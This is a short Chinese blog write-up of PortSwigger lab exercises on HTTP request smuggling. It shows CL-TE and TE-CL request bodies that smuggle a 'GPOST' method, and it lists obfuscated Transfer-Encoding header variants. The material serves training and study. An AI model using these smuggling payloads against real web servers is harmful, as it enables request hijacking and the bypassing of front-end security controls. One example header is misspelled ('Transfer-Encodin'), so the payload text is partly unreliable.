HTTP 请求走私 ~ Misaki's Blog

原理

原理有两篇文章写的十分详细，此处不在过多陈述。

HTTP request smuggling

一篇文章带你读懂 HTTP Smuggling 攻击

CL-TE

实验室：https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

登陆访问即可，看到实验室说明，只需要后端收到GPOST的请求方法即可。

通过要求可以得知这是一个前端CL，后端TE的方式。先关闭burp的自动更新content-length的设置，然后修改为6字节，先发送一个请求，这个请求先不需要管。

再发送一个POST请求，就会显示这次实验的需求，GPOST方法。

前端发送数据的时候，实验content-length来设置请求的长度，后端使用transfer-encoding来处理消息。在cl和te的模式中。默认是优先使用te。
前端认为
POST / HTTP/1.1
Content-Length: 6
Transfer-Encodin: chunked
xxx
xxx

0

G
以上为一个请求,参数长度受content-length控制。
而后端接收te的模式，默认这个是一个分块请求
POST / HTTP/1.1
Content-Length: 6
Transfer-Encodin: chunked
xxx
xxx

0
-------------------------到此，后端认为是一个请求，而G作为下一个请求而等待
G
这时候再进来的请求，就会作为继续未完成的请求而连接
GPOST / HTTP/1.1

TE-CL

实验室：https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

访问实验室，查看需求，由于说明中已经告诉我们是一个te-cl的方式。

构造transfer-encoding块，其中12代表0之前的字符串长度包括换行符，长度为16，十六进制就是12。最后面的0需要跟两个换行符，缺少的话会提示Invalid request。可能构造成功后，发送几次仍然显示Missing parameter，多试几次即可。

前端服务器使用TE块来区分。参数中
12
GPOST / HTTP/1.1

0

都被认为是一个合法的块消息。而后端服务器处理中只使用CL来划分消息。导致在请求中的content-length: 4让后端服务器认为：
12
--------------------消息到此为一个消息
GPOST / HTTP/1.1

0

--------------------第二个请求消息
从而达到请求走私的目的

TE.TE

此种方式是前后端服务器都支持并且默认使用te块，使用某种方式导致一端不识别te块来达到，cl-te或者te-cl的方式。

实验室：https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header

同样是用后端服务器识别到GPOST请求方法。

构造混淆的te头的常用方式：

1. Transfer-Encoding: xchunked

2. Transfer-Encoding : chunked

3. Transfer-Encoding: chunked
   Transfer-Encoding: x

4. Transfer-Encoding:[tab]chunked

5. [space]Transfer-Encoding: chunked

6. X: X[\n]Transfer-Encoding: chunked

7. Transfer-Encoding
   : chunked

请求了多次后发现，一直提示缺少参数。